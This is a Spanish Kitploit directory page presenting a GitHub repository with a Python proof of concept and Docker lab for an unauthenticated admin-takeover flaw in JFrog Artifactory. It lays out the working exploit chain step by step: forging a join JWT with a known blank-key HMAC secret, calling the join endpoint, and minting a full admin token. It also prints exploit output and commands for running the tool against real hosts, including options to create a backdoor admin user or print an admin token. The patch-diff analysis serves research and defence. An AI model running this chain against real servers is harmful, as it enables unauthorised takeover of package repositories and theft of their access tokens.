Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-82329-jfrog-artifactory — Laboratorio Docker reproducible y PoC en Python para CVE-2026-82329, una omisión de autenticación no autenticada en JFrog Artifactory que conduce a la toma de control del administrador, con análisis de diff de parches y guía de detección. | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la NubeAutenticaciónPapers e InvestigaciónLabs y Práctica
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

Laboratorio Docker reproducible y PoC en Python para CVE-2026-82329, una omisión de autenticación no autenticada en JFrog Artifactory que conduce a la toma de control del administrador, con análisis de diff de parches y guía de detección.

Ver Repositorio
12427hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-82329 — Bypass de autenticación no autenticado en JFrog Artifactory → toma de control de administrador

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgado el 2026-08-28 · explotado activamente.

Un atacante no autenticado y adyacente a la red genera un token de acceso de administrador de plataforma contra una instancia JFrog Artifactory autoalojada por defecto. Este directorio contiene un laboratorio Docker reproducible y un PoC validador parametrizado por URL.

Reproducido y verificado A/B en artifactory-oss 7.161.19 (vulnerable, JFrog Access 7.191.11) frente a 7.161.20 (parcheado, JFrog Access 7.191.14).

La causa raíz fue derivada del propio parche del proveedor (diff de bytecode del servicio JFrog Access de código cerrado entre las dos imágenes de contenedor) y luego probada en vivo — no tomada de ningún informe de terceros.


Cadena de explotación TL;DR (todo sin autenticación)

  1. Forjar un JWT de "join" de clúster. JFrog Access verifica los JWT de join con la join key de la plataforma utilizada como secreto HMAC. Un error deja una join key en blanco en el conjunto de verificadores de confianza en una instalación por defecto. getSigningKey("") = pkcs7(<vacío>, 32) = 32 bytes de 0x20 — un secreto completamente conocido. Así que cualquiera puede firmar un JWT de join válido (alg=HS256, kid = SHA256(""), iat reciente, cualquier service_id, skip_node_registration=true).
  2. POST /access/api/v1/registry/join (RegistryNoAuthResource — sin autenticación) → HTTP 201, devuelve un token SERVICE con alcance admin (audiencia = Access).
  3. POST /access/api/v1/tokens con ese token, scope=applied-permissions/admin&audience=* → un token de acceso de administrador de plataforma completo (este es el comportamiento de "generación de tokens de administrador" reportado en la naturaleza).
  4. Úsalo — lee toda la configuración del servidor, lista/roba cada token de acceso, y en Pro/Enterprise crea usuarios administradores, repositorios, etc.
$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Paso 1  /registry/join           -> HTTP 201  token SERVICE generado (scp=admin)
[+] Paso 2  /access/api/v1/tokens    -> HTTP 200  token ADMIN (scp=applied-permissions/admin, aud=*)
[+] Paso 3  prueba de capacidad de administrador:
      GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, solo admin; sin auth=401)
      GET /access/api/v1/tokens (lista TODOS los tokens) -> HTTP 200 (solo admin)
[=] VULNERABLE - un atacante no autenticado obtuvo ADMIN en esta instancia (CVE-2026-82329).

Causa raíz (del diff del parche)

JFrog Access 7.191.11 → 7.191.14 cambió exactamente 12 clases. Las relevantes para la seguridad:

1. Join key en blanco confiada silenciosamente — JoinKeyAccess.tryResolveJoinKeys()

// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
    JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" permitido
    joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // clave en blanco añadida al conjunto de confianza
    log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});

// PARCHEADO (7.191.14)  -> las entradas en blanco se filtran
Arrays.stream(joinKey.get().split(",")).map(String::trim)
      .filter(Strings::isNotBlank)
      .forEach(...);

Sin join keys adicionales configuradas (el valor por defecto), el valor de configuración es ""; "".split(",") produce [""], por lo que un JoinKeyHashPair en blanco (kid = SHA256("") = e3b0c442…b855) entra en el mapa de "join keys adicionales" de confianza. JoinKeyHashPair también fue endurecido para rechazar null/blank en el constructor.

Confirmado en la instancia por defecto en vivo — registro de inicio del servidor:

o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys

Ese kid es exactamente SHA256("").

2. La join key en blanco es un secreto HMAC conocido — JoinKeyUtils.getSigningKey()

public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// relleno pkcs7 de una clave VACÍA: padLength = 32  ->  32 bytes, cada uno == (byte)32 == 0x20

Así que el JWT de join para la clave en blanco se firma con HS256 sobre 32 bytes de 0x20 — conocido por el atacante.

3. El endpoint de join sin autenticación genera un token de administrador

RegistryNoAuthResource (@Path("/v1/registry"), sin @Authorized):

@POST @Path("join")
public Response join(String jwtStr) {                    // cuerpo = el JWT crudo
    JwtToken token = this.joinService.join(jwtStr, ...); // valida: iat reciente (<30s) + firma de join key
    return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}

JoinServiceImpl → ServiceTokenProviderImpl.getToken():

TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
    .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();

Un token de acceso firmado RSA, sin caducidad, con alcance de administrador. El token de servicio scope("admin") puede entonces generar un token de usuario completo applied-permissions/admin vía POST /access/api/v1/tokens.

4. Endurecimiento corroborante — ProjectResource

Dos endpoints pasaron de @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), confirmando que la primitiva de explotación es una identidad SERVICE falsificada y que la superficie autorizada por SERVICE estaba sobreexpuesta.


Versiones afectadas / corregidas

Solo autoalojado (la nube ya está parcheada). Vulnerable ≤ la última versión en cada rama a continuación; actualiza al fix emparejado:

RamaVulnerable ≤Corregida
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20

El fix incluye JFrog Access 7.191.14.


Reproducir (laboratorio)

Consulta lab/README.md. En resumen:

cd lab
ART_VER=7.161.19 docker compose up -d          # vulnerable (por defecto); espera ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNERABLE

docker compose down
ART_VER=7.161.20 docker compose up -d          # control parcheado
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NO VULNERABLE (join HTTP 400)

Artifactory 7.161.x requiere PostgreSQL (su servicio Access rechaza el Derby incluido), por lo que el laboratorio incluye un sidecar de postgres.


Validar un objetivo real

python3 poc/cve_2026_82329_poc.py http://<host-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # cambio de estado Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # imprime un token de administrador

Apúntalo a lo que sea que sirva como front-end del JFrog Router (/access/… accesible). Reporta VULNERABLE (administrador obtenido) o NO VULNERABLE (join rechazado). Ejecuta solo contra sistemas que estés autorizado a probar.


Detección / IOCs

Descargar herramienta